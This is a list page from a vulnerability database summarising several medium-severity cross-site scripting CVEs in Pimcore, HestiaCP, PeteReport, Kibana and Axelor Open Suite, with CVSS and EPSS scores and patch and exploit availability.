MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.3.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository hestiacp/hestiacp prior to 1.5.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Control Panel Hestiacp
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.5.10. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Control Panel Hestiacp
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

PeteReport Version 0.5 allows an authenticated admin user to inject persistent JavaScript code inside the markdown descriptions while creating a product, report or finding. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Petereport Petereport Project
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A cross-site-scripting (XSS) vulnerability was discovered in the Data Preview Pane (previously known as Index Pattern Preview Pane) which could allow arbitrary JavaScript to be executed in a victim’s. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Elastic Kibana
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

PeteReport Version 0.5 allows an authenticated admin user to inject persistent JavaScript code while adding an 'Attack Tree' by modifying the 'svg_file' parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Petereport Petereport Project
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Axelor Open Suite v5.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Name parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Suite
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40998

Related CWEs

MITRE ATT&CK

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